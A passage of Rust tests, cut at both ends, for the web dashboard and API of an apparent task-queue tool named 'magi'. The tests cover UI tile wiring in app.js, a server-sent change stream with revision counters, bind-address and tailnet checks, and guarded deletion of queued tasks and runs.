13995 "expected the {label} KPI tile built via {call}..."
13996 );
13997 assert!(
13998 APP_JS.contains(&format!("status === \"{status}\"")),
13999 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
14000 compare a run against, not one invented only for the stats tile"
14001 );
14002 }
14003 assert!(
14004 APP_JS.contains("function openRunsFiltered(status)"),
14005 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
14006 );
14007 assert!(
14008 APP_JS.contains(
14009 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
14010 ),
14011 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
14012 );
14013 assert!(
14021 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
14022 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
14023 hashchange event that may never fire"
14024 );
14025 }
14026
14027 #[test]
14028 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
14029 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
14035 assert!(
14036 APP_JS.contains(
14037 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
14038 ),
14039 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
14040 guard for an incompatible tree section"
14041 );
14042 }
14043
14044 #[test]
14045 fn every_stats_queue_tile_names_a_real_queue_section() {
14046 assert!(
14052 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
14053 "every queue tile built through sectionTile() must route its click through \
14054 openQueueSectionFocus"
14055 );
14056 for key in ["upnext", "running", "done", "held", "blocked"] {
14057 assert!(
14058 APP_JS.contains(&format!("{{ key: \"{key}\",")),
14059 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
14060 );
14061 }
14062 for line in [
14066 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
14067 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
14068 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
14069 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
14070 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
14071 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
14072 ] {
14073 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
14074 }
14075 }
14076
14077 #[test]
14078 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
14079 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
14086 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
14087 assert!(APP_JS.contains("function revealQueueSection(details)"));
14088 assert!(
14089 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
14090 "renderQueue() must consume both focus channels on every pass"
14091 );
14092 assert!(
14093 APP_JS.contains(
14094 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
14095 ),
14096 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
14097 the recursive renderQueue() call has nothing left to reveal"
14098 );
14099 assert!(
14100 APP_JS.contains(
14101 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
14102 ),
14103 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
14104 );
14105 assert!(
14113 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
14114 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
14115 hashchange event that may never fire"
14116 );
14117 }
14118
14119 #[tokio::test]
14120 async fn the_change_stream_announces_the_current_revisions_on_connect() {
14121 let f = Fixture::start().await;
14122
14123 let mut socket = tokio::net::TcpStream::connect(f.addr)
14124 .await
14125 .expect("connect");
14126 socket
14127 .write_all(
14128 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
14129 )
14130 .await
14131 .expect("write request");
14132
14133 let mut seen = String::new();
14136 let mut buf = [0u8; 1024];
14137 while !seen.contains("event: change") {
14138 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
14139 .await
14140 .expect("the stream must speak within five seconds")
14141 .expect("read");
14142 assert!(read > 0, "the server closed the change stream: {seen}");
14143 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
14144 }
14145
14146 assert!(
14147 seen.to_lowercase()
14148 .contains("content-type: text/event-stream"),
14149 "the browser only reconnects automatically for a real SSE stream: {seen}"
14150 );
14151 let data = seen
14152 .lines()
14153 .find_map(|l| l.strip_prefix("data:"))
14154 .expect("a data line");
14155 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
14156 assert!(
14157 payload["queue_rev"].is_u64()
14158 && payload["runs_rev"].is_u64()
14159 && payload["questions_rev"].is_u64()
14160 && payload["talks_rev"].is_u64()
14161 && payload["notifications_rev"].is_u64()
14162 && payload["loop_rev"].is_u64(),
14163 "the client needs one revision per store to know what to refetch, \
14164 and `talks_rev` is the only notification a standing talk gets - a \
14165 phone whose radio slept through a turn learns about it here, as \
14166 does one whose operator started the loop from another device: \
14167 {payload}"
14168 );
14169
14170 let health = f.get("/api/health").await.json();
14177 for key in [
14178 "queue_rev",
14179 "runs_rev",
14180 "questions_rev",
14181 "talks_rev",
14182 "notifications_rev",
14183 "loop_rev",
14184 ] {
14185 assert!(
14186 health[key].is_u64(),
14187 "health is the change stream's fallback and is missing `{key}`: {health}"
14188 );
14189 }
14190 }
14191
14192 #[tokio::test]
14193 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
14194 let f = Fixture::start().await;
14195 let before = f.get("/api/health").await.json()["talks_rev"]
14196 .as_u64()
14197 .expect("talks_rev");
14198
14199 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
14200 std::thread::sleep(Duration::from_millis(10));
14201 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
14202 on_disk.turns.push(crate::talk::Turn {
14203 breaks: Some(Vec::new()),
14204 posted_by: None,
14205 who: crate::talk::Who::Operator,
14206 body: "a new turn".to_owned(),
14207 at: Timestamp::now(),
14208 attachments: Vec::new(),
14209 usage: None,
14210 });
14211 f.talks().put(&mut on_disk).expect("record a turn");
14212
14213 let after = f.get("/api/health").await.json()["talks_rev"]
14214 .as_u64()
14215 .expect("talks_rev");
14216 assert_ne!(
14217 before, after,
14218 "a phone must be able to notice a talk's reply without polling every store"
14219 );
14220 }
14221
14222 #[test]
14223 fn bind_reads_back_from_the_spelling_the_cli_prints() {
14224 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
14228 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
14229 }
14230 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
14231 assert!("everywhere".parse::<Bind>().is_err());
14232 }
14233
14234 #[test]
14235 fn an_explicit_bind_address_is_taken_verbatim() {
14236 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
14237
14238 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
14239
14240 assert_eq!(addr, asked);
14241 assert!(
14242 warning.is_none(),
14243 "an operator who named an address gets no lecture"
14244 );
14245 }
14246
14247 #[test]
14248 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
14249 let (addr, warning) = resolve_bind(&Bind::Auto);
14250
14251 match addr {
14258 IpAddr::V4(ip) if is_tailnet(&ip) => {
14259 assert!(warning.is_none(), "a tailnet address needs no warning");
14260 }
14261 other => {
14262 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
14263 let warning = warning.expect("a fallback has to explain itself");
14264 assert!(
14265 warning.contains("127.0.0.1") && warning.contains("local-only"),
14266 "the warning says what happened and what it costs: {warning}"
14267 );
14268 }
14269 }
14270 }
14271
14272 #[test]
14273 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
14274 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
14278 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
14279 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
14280 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
14281 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
14282 }
14283
14284 #[test]
14285 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
14286 let ids = vec![
14287 "20260902-140501-aaaa".to_owned(),
14288 "20260902-140502-aabb".to_owned(),
14289 ];
14290
14291 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
14292 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
14293 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
14294
14295 assert_eq!(missing.status, StatusCode::NOT_FOUND);
14296 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
14297 assert_eq!(short, "20260902-140502-aabb");
14298 }
14299 #[tokio::test]
14300 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
14301 let fx = Fixture::start().await;
14307 let id = panel(
14308 &fx,
14309 "<img src=\"shot.png\">",
14310 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
14311 );
14312
14313 let doc = fx
14315 .get(&format!("/api/questions/{id}/panel/index.html"))
14316 .await;
14317 assert_eq!(doc.status, 200, "{}", doc.body);
14318 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
14319
14320 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
14321 assert_eq!(sibling.status, 200, "{}", sibling.body);
14322 assert_eq!(sibling.header("content-type"), Some("image/png"));
14323 assert_eq!(
14324 sibling.header("content-security-policy"),
14325 Some(PANEL_CSP),
14326 "the sibling route must carry the same policy as the asset route"
14327 );
14328
14329 assert_eq!(
14332 fx.head(&format!("/api/questions/{id}/panel")).await.status,
14333 200
14334 );
14335 }
14336
14337 #[test]
14338 fn delta_stamps_cover_add_update_remove_and_noop() {
14339 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
14340 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
14341 let delta = diff_stamps(&before, &after, 42);
14342 assert_eq!(delta.base, 42);
14343 assert_eq!(delta.changed, ["b", "c"]);
14344 assert_eq!(delta.removed, ["a"]);
14345 let same = diff_stamps(&after, &after, 43);
14346 assert!(same.changed.is_empty() && same.removed.is_empty());
14347 assert_ne!(stamps_revision(&before), stamps_revision(&after));
14348 let nanos: Stamps = [("b".into(), (2, 20))].into();
14349 let same_ms: Stamps = [("b".into(), (3, 20))].into();
14350 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
14351 assert_eq!(stamps_revision(&Stamps::new()), 0);
14352 }
14353
14354 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
14355 std::fs::create_dir_all(home.join("runs")).unwrap();
14356 Arc::new(Ui::new(
14357 Queue::at(home.join("queue")),
14358 Questions::at(home.join("questions")),
14359 Talks::at(home.join("talks")),
14360 home.join("runs"),
14361 home.to_owned(),
14362 PathBuf::from("/repo/magi"),
14363 ))
14364 }
14365
14366 #[tokio::test]
14367 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
14368 let home = TempDir::new().unwrap();
14369 let ui = delta_test_ui(home.path());
14370 let mut task = Task::new(
14371 "stream task".into(),
14372 "text".into(),
14373 PathBuf::from("/repo"),
14374 Source::Human,
14375 );
14376 ui.queue.put(&mut task).unwrap();
14377 let response = events(State(ui.clone())).await.into_response();
14378 let mut stream = response.into_body().into_data_stream();
14379 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
14380 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
14381 .await
14382 .unwrap()
14383 .unwrap()
14384 .unwrap();
14385 let text = String::from_utf8(chunk.to_vec()).unwrap();
14386 let data = text
14387 .lines()
14388 .find_map(|line| {
14389 line.strip_prefix("data: ")
14390 .or_else(|| line.strip_prefix("data:"))
14391 })
14392 .unwrap();
14393 serde_json::from_str(data).unwrap()
14394 }
14395 let initial = change(&mut stream).await;
14396 assert!(initial.get("queue_delta").is_none());
14397 task.instruction.push_str(" changed");
14398 ui.queue.put(&mut task).unwrap();
14399 let updated = change(&mut stream).await;
14400 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
14401 assert_eq!(
14402 updated["queue_delta"]["changed"],
14403 serde_json::json!([task.id])
14404 );
14405 assert_eq!(
14406 updated["queue_rev"].as_u64(),
14407 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
14408 );
14409 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
14410 let removed = change(&mut stream).await;
14411 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
14412 assert_eq!(
14413 removed["queue_delta"]["removed"],
14414 serde_json::json!([task.id])
14415 );
14416 }
14417
14418 #[tokio::test]
14419 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
14420 let home = TempDir::new().unwrap();
14421 let ui = delta_test_ui(home.path());
14422 let queue = ui.queue.clone();
14423 let query = |ids: Option<&str>| {
14424 Query(ListQuery {
14425 limit: Some(2),
14426 ids: ids.map(str::to_owned),
14427 })
14428 };
14429 let mut root = Task::new(
14430 "root".into(),
14431 "instruction".into(),
14432 PathBuf::from("/repo"),
14433 Source::Human,
14434 );
14435 queue.put(&mut root).unwrap();
14436 let mut blocked = Task::new(
14437 "blocked".into(),
14438 "instruction".into(),
14439 PathBuf::from("/repo"),
14440 Source::Human,
14441 );
14442 blocked.block(vec![root.id.clone()], None);
14443 queue.put(&mut blocked).unwrap();
14444 let whole =
14445 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
14446 .unwrap();
14447 let subset = serde_json::to_value(
14448 queue_list(State(ui.clone()), query(Some(&root.id)))
14449 .await
14450 .unwrap()
14451 .0,
14452 )
14453 .unwrap();
14454 assert_eq!(whole, subset, "requested root plus its blocked dependent");
14455 let blockers = serde_json::to_value(
14456 queue_list(State(ui.clone()), query(Some("")))
14457 .await
14458 .unwrap()
14459 .0,
14460 )
14461 .unwrap();
14462 assert_eq!(blockers.as_array().unwrap().len(), 1);
14463 assert_eq!(blockers[0]["id"], blocked.id);
14464 assert_eq!(
14465 blockers[0]["waits_on"],
14466 whole
14467 .as_array()
14468 .unwrap()
14469 .iter()
14470 .find(|row| row["id"] == blocked.id)
14471 .unwrap()["waits_on"]
14472 );
14473
14474 for id in [
14475 "20260902-140501-aaaa",
14476 "20260902-140502-bbbb",
14477 "20260902-140503-cccc",
14478 ] {
14479 write_run(&ui.runs, id, RunStatus::Merged);
14480 }
14481 let old = serde_json::to_value(
14482 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
14483 .await
14484 .unwrap()
14485 .0,
14486 )
14487 .unwrap();
14488 assert!(
14489 old.as_array().unwrap().is_empty(),
14490 "older updates must not enter the window"
14491 );
14492 let newest = serde_json::to_value(
14493 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
14494 .await
14495 .unwrap()
14496 .0,
14497 )
14498 .unwrap();
14499 assert_eq!(newest.as_array().unwrap().len(), 1);
14500 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
14501
14502 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
14503 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
14504 let talks = serde_json::to_value(
14505 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
14506 .await
14507 .unwrap()
14508 .0,
14509 )
14510 .unwrap();
14511 assert_eq!(talks.as_array().unwrap().len(), 1);
14512 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
14513 assert_eq!(
14514 serde_json::to_value(
14515 talks_list(State(ui.clone()), query(Some("")))
14516 .await
14517 .unwrap()
14518 .0
14519 )
14520 .unwrap(),
14521 serde_json::json!([])
14522 );
14523 }
14524
14525 #[tokio::test]
14526 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
14527 async fn delta_payload_benchmark() {
14528 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
14529 let ui = delta_test_ui(&home);
14530 let query = |ids: Option<String>| {
14531 Query(ListQuery {
14532 limit: Some(50),
14533 ids,
14534 })
14535 };
14536 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
14537 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
14538 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
14539 let queue_id = queue
14540 .iter()
14541 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
14542 .unwrap_or(&queue[0])
14543 .task
14544 .id
14545 .clone();
14546 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
14547 .await
14548 .unwrap()
14549 .0;
14550 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
14551 .await
14552 .unwrap()
14553 .0;
14554 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
14555 .await
14556 .unwrap()
14557 .0;
14558 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
14559 eprintln!(
14560 "DELTA_PAYLOAD {}",
14561 serde_json::json!({
14562 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
14563 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
14564 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
14565 "counts": [queue.len(), runs.len(), talks.len()],
14566 "blocked": queue_delta.len() - 1,
14567 })
14568 );
14569 }
14570
14571 #[test]
14572 fn runs_revision_moves_when_deleting_an_older_run() {
14573 let temp = TempDir::new().expect("tempdir");
14574 let runs = temp.path().join("runs");
14575 std::fs::create_dir_all(&runs).expect("create runs dir");
14576
14577 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
14578
14579 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
14580 std::thread::sleep(Duration::from_millis(10));
14581 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
14582
14583 let rev_before = runs_revision(&runs);
14584 assert!(rev_before > 0);
14585
14586 let old_dir = runs.join("20260901-100000-old1");
14587 std::fs::remove_dir_all(&old_dir).expect("remove old run");
14588
14589 let rev_after = runs_revision(&runs);
14590 assert_ne!(
14591 rev_before, rev_after,
14592 "deleting an older run must change the revision so other clients see the deletion"
14593 );
14594 }
14595
14596 fn write_state(runs: &FsPath, state: &RunState) {
14601 let dir = runs.join(&state.id);
14602 std::fs::create_dir_all(&dir).expect("run dir");
14603 std::fs::write(
14604 dir.join("run.json"),
14605 serde_json::to_string_pretty(state).expect("serialize run"),
14606 )
14607 .expect("write run.json");
14608 }
14609
14610 #[test]
14615 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
14616 let temp = TempDir::new().expect("tempdir");
14617 let runs = temp.path().join("runs");
14618 std::fs::create_dir_all(&runs).expect("create runs dir");
14619 let mut state = RunState::new(
14620 PathBuf::from("/repo/magi"),
14621 "main".to_owned(),
14622 "0123456789abcdef".to_owned(),
14623 "task".to_owned(),
14624 Config::default(),
14625 );
14626 state.id = "20260902-100000-c0de".to_owned();
14627 write_state(&runs, &state);
14628
14629 let rev_idle = runs_revision(&runs);
14630 std::thread::sleep(Duration::from_millis(10));
14631 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
14632 write_state(&runs, &state);
14633 let rev_started = runs_revision(&runs);
14634 assert_ne!(
14635 rev_idle, rev_started,
14636 "a seat starting must move the revision"
14637 );
14638
14639 std::thread::sleep(Duration::from_millis(10));
14640 state.seat_finished("judge-1");
14641 write_state(&runs, &state);
14642 let rev_finished = runs_revision(&runs);
14643 assert_ne!(
14644 rev_started, rev_finished,
14645 "and clearing it again must move the revision a second time"
14646 );
14647 }
14648
14649 #[tokio::test]
14650 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
14651 let fx = Fixture::start().await;
14656 let q = fx.queue();
14657
14658 let mut t = Task::new(
14659 "Task".to_owned(),
14660 "Instruction".to_owned(),
14661 PathBuf::from("/repo"),
14662 Source::Human,
14663 );
14664 t.block(
14665 vec!["20260101-000000-dead".to_owned()],
14666 Some("waiting on Task 1".to_owned()),
14667 );
14668 t.answers.push(crate::queue::AnsweredQuestion {
14669 question: "Which backend?".to_owned(),
14670 answer: "SQLite".to_owned(),
14671 });
14672 q.put(&mut t).expect("put t");
14673
14674 let res = fx.get("/api/queue").await;
14675 assert_eq!(res.status, 200);
14676 let list = res.json();
14677 let view = list
14678 .as_array()
14679 .expect("array")
14680 .iter()
14681 .find(|v| v["id"] == t.id)
14682 .expect("task in list");
14683 assert_eq!(view["status_str"], "blocked");
14684 assert_eq!(
14685 view["blocked_by"],
14686 serde_json::json!(["20260101-000000-dead"])
14687 );
14688 assert_eq!(view["block_reason"], "waiting on Task 1");
14689 assert_eq!(view["answers"][0]["question"], "Which backend?");
14690 assert_eq!(view["answers"][0]["answer"], "SQLite");
14691
14692 let res = fx
14696 .post(&format!("/api/queue/{}/hold", t.short()), None)
14697 .await;
14698 assert_eq!(res.status, 200);
14699 let held = res.json();
14700 assert_eq!(held["status_str"], "held");
14701 assert_eq!(held["blocked_by"], serde_json::json!([]));
14702 assert!(held["block_reason"].is_null());
14703 assert_eq!(held["answers"][0]["answer"], "SQLite");
14704 }
14705
14706 #[tokio::test]
14707 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
14708 let fx = Fixture::start().await;
14709 let q = fx.queue();
14710 let mk = |title: &str| {
14711 Task::new(
14712 title.to_owned(),
14713 "Instruction".to_owned(),
14714 PathBuf::from("/repo"),
14715 Source::Human,
14716 )
14717 };
14718 let mut root = mk("root");
14719 root.hold_manual(Some("waiting".to_owned()));
14720 q.put(&mut root).unwrap();
14721 let mut mid = mk("mid");
14722 mid.block(vec![root.id.clone()], None);
14723 q.put(&mut mid).unwrap();
14724 let mut leaf = mk("leaf");
14725 leaf.block(vec![mid.id.clone()], None);
14726 q.put(&mut leaf).unwrap();
14727
14728 let list = fx.get("/api/queue").await.json();
14729 let find = |id: &str| {
14730 list.as_array()
14731 .unwrap()
14732 .iter()
14733 .find(|v| v["id"] == id)
14734 .unwrap()
14735 .clone()
14736 };
14737 let leaf_view = find(&leaf.id);
14738 assert_eq!(
14739 leaf_view["waits_on"],
14740 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
14741 );
14742 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
14743 assert_eq!(
14744 find(&mid.id)["waits_on"],
14745 serde_json::json!([format!("{} (held)", root.short())])
14746 );
14747 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
14748 }
14749
14750 #[tokio::test]
14751 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
14752 let fx = Fixture::start().await;
14753 let q = fx.queue();
14754
14755 let mut t1 = Task::new(
14757 "Task 1".to_owned(),
14758 "Instruction 1".to_owned(),
14759 PathBuf::from("/repo"),
14760 Source::Human,
14761 );
14762 let run_id = "20260901-000000-r111";
14763 t1.runs.push(run_id.to_owned());
14764 write_run(&fx.runs(), run_id, RunStatus::Merged);
14765 q.put(&mut t1).expect("put t1");
14766
14767 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
14769 assert_eq!(res.status, 204);
14770 assert!(res.body.is_empty(), "204 No Content has no body");
14771 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
14772 assert!(
14773 fx.runs().join(run_id).exists(),
14774 "run directory must not be deleted when its task is deleted"
14775 );
14776
14777 let mut t2 = Task::new(
14779 "Task 2".to_owned(),
14780 "Instruction 2".to_owned(),
14781 PathBuf::from("/repo"),
14782 Source::Human,
14783 );
14784 t2.status = TaskStatus::Running;
14785 q.put(&mut t2).expect("put t2");
14786 let mut beat = crate::daemon::Status::new();
14787 beat.current = vec![crate::daemon::Current {
14788 task: t2.id.clone(),
14789 run: "20260901-000000-r222".to_owned(),
14790 }];
14791 beat.updated_at = jiff::Timestamp::now();
14792 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14793 .expect("publish a heartbeat");
14794 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
14795 assert_eq!(res.status, 409);
14796 assert!(
14797 res.json()["error"]
14798 .as_str()
14799 .unwrap()
14800 .contains("live daemon")
14801 );
14802 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
14803
14804 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
14810 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14811 .expect("leave a stale heartbeat");
14812 let mut t3 = Task::new(
14813 "Task 3".to_owned(),
14814 "Instruction 3".to_owned(),
14815 PathBuf::from("/repo"),
14816 Source::Human,
14817 );
14818 t3.status = TaskStatus::Running;
14819 q.put(&mut t3).expect("put t3");
14820 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
14821 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
14822 assert_eq!(res.status, 204);
14823 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
14824 assert!(
14825 q.claim(&t3.id).is_ok(),
14826 "the stale lock went with it, so the id is claimable again"
14827 );
14828
14829 let res = fx.delete("/api/queue/nonexistent").await;
14831 assert_eq!(res.status, 404);
14832 }
14833
14834 #[tokio::test]
14835 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
14836 let fx = Fixture::start().await;
14837 let runs = fx.runs();
14838
14839 let run_id = "20260901-000000-fold";
14841 let mut state = RunState::new(
14842 PathBuf::from("/repo"),
14843 "main".to_owned(),
14844 "abc".to_owned(),
14845 "instruction".to_owned(),
14846 Config::default(),
14847 );
14848 state.id = run_id.to_owned();
14849 state.status = RunStatus::Merged;
14850 state.candidates.push(crate::run::Candidate {
14851 index: 0,
14852 label: 'A',
14853 agent: "a".to_owned(),
14854 branch: "b".to_owned(),
14855 worktree: PathBuf::from("/w"),
14856 summary: String::new(),
14857 stat: String::new(),
14858 files: 1,
14859 commits: 1,
14860 empty: false,
14861 failed: None,
14862 verified_noop: None,
14863 duration_ms: 0,
14864 folded: true,
14865 });
14866 let dir = runs.join(run_id);
14867 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
14868 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
14869 .expect("write artifact");
14870 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
14871 .expect("write run.json");
14872
14873 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
14875 assert_eq!(res.status, 204);
14876 assert!(res.body.is_empty(), "204 has no body");
14877 assert!(!dir.exists(), "run directory and artifacts must be deleted");
14878
14879 let run_running = "20260901-000000-rung";
14884 write_run(&runs, run_running, RunStatus::Prep);
14885 let mut beat = crate::daemon::Status::new();
14886 beat.current = vec![crate::daemon::Current {
14887 task: "20260901-000000-task".to_owned(),
14888 run: run_running.to_owned(),
14889 }];
14890 beat.updated_at = jiff::Timestamp::now();
14891 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14892 .expect("publish a heartbeat");
14893 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
14894 assert_eq!(res.status, 409);
14895 assert!(
14896 res.json()["error"]
14897 .as_str()
14898 .unwrap()
14899 .contains("live daemon"),
14900 "the refusal must say who is holding it"
14901 );
14902 assert!(
14903 runs.join(run_running).exists(),
14904 "a run in flight keeps its directory"
14905 );
14906
14907 let run_unfolded = "20260901-000000-unfd";
14909 let mut state2 = RunState::new(
14910 PathBuf::from("/repo"),
14911 "main".to_owned(),
14912 "abc".to_owned(),
14913 "instruction".to_owned(),
14914 Config::default(),
14915 );
14916 state2.id = run_unfolded.to_owned();
14917 state2.status = RunStatus::Ready;
14918 state2.candidates.push(crate::run::Candidate {
14919 index: 0,
14920 label: 'A',
14921 agent: "a".to_owned(),
14922 branch: "b".to_owned(),
14923 worktree: PathBuf::from("/w"),
14924 summary: String::new(),
14925 stat: String::new(),
14926 files: 1,
14927 commits: 1,
14928 empty: false,
14929 failed: None,
14930 verified_noop: None,
14931 duration_ms: 0,
14932 folded: false,
14933 });
14934 let dir2 = runs.join(run_unfolded);
14935 std::fs::create_dir_all(&dir2).expect("create dir2");
14936 std::fs::write(
14937 dir2.join("run.json"),
14938 serde_json::to_string(&state2).unwrap(),
14939 )
14940 .expect("write run.json");
14941
14942 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
14943 assert_eq!(res.status, 409);
14944 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
14945 assert!(dir2.exists(), "unfolded run directory is kept");
14946
14947 let res = fx.delete("/api/runs/nonexistent").await;
14949 assert_eq!(res.status, 404);
14950 }
14951
14952 #[test]
14961 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
14962 let start = APP_JS
14963 .find("function renderStats() {")
14964 .expect("renderStats");
14965 let end = start
14966 + APP_JS[start..]
14967 .find("function statsTile(")
14968 .expect("the next top-level function");
14969 let body = &APP_JS[start..end];
14970
14971 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
14972 let gate_end = gate_start
14973 + body[gate_start..]
14974 .find("}\n renderStatsQueue")
14975 .expect("the gate's own closing brace, right before the unconditional call");
14976 let gated = &body[gate_start..gate_end];
14977
14978 assert_eq!(
14979 body.matches("renderStatsQueue(").count(),
14980 1,
14981 "renderStats must call renderStatsQueue exactly once: {body}"
14982 );
14983 assert!(
14984 !gated.contains("renderStatsQueue"),
